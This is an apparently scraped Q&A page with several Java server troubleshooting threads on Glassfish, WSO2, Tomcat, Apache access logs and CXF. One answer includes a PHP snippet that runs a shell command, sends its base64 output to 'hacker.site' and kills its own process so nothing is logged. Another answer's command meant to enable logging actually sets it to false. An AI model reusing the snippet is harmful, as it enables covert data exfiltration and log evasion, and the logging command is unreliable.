See source of request when get a system error from glassfish - java

I get a IllegalArgumentException: Request header is too large from glassfish every now and then.
I know how to get arround this - need to switch to POST request. There is enough good articles about this.
But my problem is that I don't know who sends me this request.
Is there a way to put more details into this error message?
The IP Address would be enough.
I guess this error happens before my servlet code is processed.
So I cannot add the IP address to the error message by my self.
Thanks for your help.

Definitely in this case the control will not even come to the application to apply some logic to know the Remote Address. Only the Server you are using provide these information in logs.
Any server which you are using logs the request in web access logs.
By default those log entries will also have the remote address of the client who made the request. If it does not exist, check with the Server team how to configure logging the remote address in the web access logs.
References:
How to enable access logging in Glassfish
Enabling Http Access log in Glassfish

One way would be to use a ThreadLocal and put the instance of HttpServletRequest inside it in the beginning of request processing (a servlet Filter perhaps).
This way, in the error handler, you could obtain the instance of HttpServletRequest from the thread local variable, and - for example - check the IP adress of the sender.

When executing a post or put request assumption is made that there is not limit in data size which is send over the line.
Most web servers have a default configuration of these values. Per default the max-post-size in glassfish 3 is 8192 bytes and glassfish 2.1 is
4096 bytes
Add the following property to http-listener element under domain.xml :
<property name="maxPostSize" value="">
Increase the value if already exists.

I would start with enabling access logging:
asadmin set configs.config.server-config.http-service.access-logging-enabled=false
you should also set your logging format with
asadmin configs.config.server-config.http-service.access-log.format=XXXX
hope this helps tracking down the problem

Related

WSO2 API Manager Connection Error , "Error occurred while sending the HEAD request to the given endpoint url"

I'm trying to configure the WSO2 API Manager. (version - v4.0.0)
When I try to create REST API and point to the endpoints I"m getting a Connection error message for the given endpoints. I have hosted the API Manager and the back end services on the same server(backend services are running on the tomcat application on the same server in port 8080)
API Manager Log produces the following message :
ERROR {org.wso2.carbon.apimgt.rest.api.publisher.v1.impl.ApisApiServiceImpl} - Error occurred while sending the HEAD request to the given endpoint url: org.apache.commons.httpclient.ConnectTimeoutException: The host did not accept the connection within timeout of 4000 ms
would really like to what has caused the issue.
P.S: I can access the backend services directly without any connection issues using a REST client.
It's difficult to answer the question without knowing the exact details of your deployment and the backend. But let me try. Here is what I think is happening. As you can clearly see, the error is a connection timeout The host did not accept the connection within timeout of 4000 ms.
Let me explain what happens when you click on the Check Endpoint Status button. When you click on the Check Endpoint Status button, the Browser is not directly sending a request to the Backend to validate it. The Backend URL will be passed to the APIM Server, and the Server will perform the validation by sending an HTTP HEAD request to the BE service.
So there can be two causes. First may be your backend doesn't know how to handle a HEAD request which is preventing it from accepting the request. But given the error indicated it's a network issue, I doubt it even reached the BE.
The second one is, that your Backend is not accessible from the place API Manager is running. If you are running API Manager on Server A and trying to access API Manager via browser from Server B(Local Machine). Although you can access the BE from Server B may be from Server A it's not accessible. When I say BE is not accessible from API Manager server, it means it's not accessible with the same URL that was used in API Manager. It doesn't really matter if it runs in the same Server if you are using a different DNS other than localhost to access it. So go to the server API Manager is running and send a request using the same URL that was used in API Manager and see whether it's accessible from there.
First try doing a curl request by login into the server where APIM is running (not from your local machine). Maybe due to some firewall rules within the server, the hostname given in the URL may not be accessible. Also, try sending a HEAD request as well. You might be able to get some idea why this is happening

Why does request.getRemoteAddr().equals("127.0.0.1") when accessing from a remote machine

I have a Java servlet application running within Tomcat, there is one admin command that I only want to be able to run from the machine itself (or possibly my own pc as well) for security reasons. So to enforce this I check the remote address of the HttpServletRequest that I receive but it always returns 127.0.0.1 even though the request is not coming from the local host
Why is this, can I fix it or is there an alternative way to run my admin command only from the server.
First check if the request has the 'X-Forwarded-For' header. If the header is set, the first IP in it should be the one you're looking for. If the header is empty request.getRemoteAddr() should return the correct IP.
Wiki for 'X-Forwarded-For': http://en.wikipedia.org/wiki/X-Forwarded-For
Note that you cannot be 100% sure that you get the correct IP like this since forwarding instances are not forced to set the 'X-Forwarded-For' header.

Do Apache Access Logs Ever Miss Requests?

My workplace has Apache in-front of various Java application servers. I often have to investigate production issues and rely on those Apache Access Logs recording all requests to the application servers, whether they are successful (200), redirects(302), errors (500) or some other status.
A couple of times however, normally when an application server has become unresponsive and required a restart, it looks like maybe some requests have not been logged.
I have tried reproducing this locally (start a long running request and either allow the request to exceed the timeout on the Apache server or just kill the application server from the command-line) but I always get a request logged in the access logs.
My question is, assuming Apache is running fine but faced with an application server problem, would the Apache access logs ever miss a request?
It can miss requests in some cases, docs contain important sentence:
The server access log records all requests processed by the server.
So if request is not processed, then we should not expect entry in access_log. If you wonder if such situation can be easily reproduced, then I found a way to do it.
Consider following PHP code (test.php):
<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());
Also you have to run Apache with prefork MPM and mod_php module. Then make request with browser or telnet:
$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0
Connection closed by foreign host.
As you can see, connection is closed without any response. Also there are no logs in access_log nor error_log, despite code was executed and attacker received encoded result of command uname -a.

Logging hostname resolved in CXF

I have a java web service client that uses CXF. The server has 10+ possible ips that are resolved via dynamic dns. I have the jvm configured properly to not cache dns.
My question is, I have the requirement that I need to log on the client the payload with the ip it was delivered to. Logging just the hostname will not work as the hostname to ip resolution is constantly changing.
I would suggest grabbing the source of the CXF LoggingInInterceptor from:
http://svn.apache.org/repos/asf/cxf/trunk/rt/core/src/main/java/org/apache/cxf/interceptor/LoggingInInterceptor.java
and update it to suite your needs. Particularly, you would need to grab the HttpServletREquest off the message and figure out how to get the IP off of it to add to the logs. The CXF version is protocol agnostic (would work for JMS or others) and thus doesn't do any of the HTTP specific things that would require the HttpServletRequest.

Weird Tomcat and Axis Webservice behaviour

I have a simple web service deployed on tomcat using Apache Axis.
If i access the webservice as http://localhost:8080/webservices/TransactionService i see the usual message
TransactionService
Hi there, this is an AXIS service!
Perhaps there will be a form for invoking the service here...
showing that the web service is available and ready for use.
However if i access it as http://10.0.0.1:8080/webservices/TransactionService (10.0.0.1 is the actual IP of the machine. I'm accessing it on the same machine as above, machine hosting tomcat) i get:
HTTP Status 404 - /webservices/TransactionService
--------------------------------------------------------------------------------
type: Status report
message: /webservices/TransactionService
description: The requested resource (/webservices/TransactionService) is not available.
--------------------------------------------------------------------------------
Apache Tomcat/5.5
There is nothing in the tomcat logs
If i try deploying on Jetty it all works fine.
Is there any explanation for this? Any pointers most welcome.
Tomcat can listen on different hostnames/IPs in a different way. Specifically, every host/IP can have its own work directory:
<Host name="localhost" workDir="/workdir">
...
</Host>
Application deployed to one workdir won't be available to a host with another workdir.
Check your configuration.
UPDATE: if name is specified as name, not IP, check that that name is resolved to 10.* address too.
Also, one of the hosts is default. It responds to all requests now matter what host they are targeted too, if there is no specific Host. For your setup you may want to leave only that one active.
I don't think a change to Tomcat configuration is the answer. I don't have to do such a thing to use my local IP address or localhost.
Could it be as simple as an addition to your hosts file? I've got mine in c:/windows/system32/drivers/etc/hosts, and there's an entry for "127.0.0.1 localhost" in it.

Categories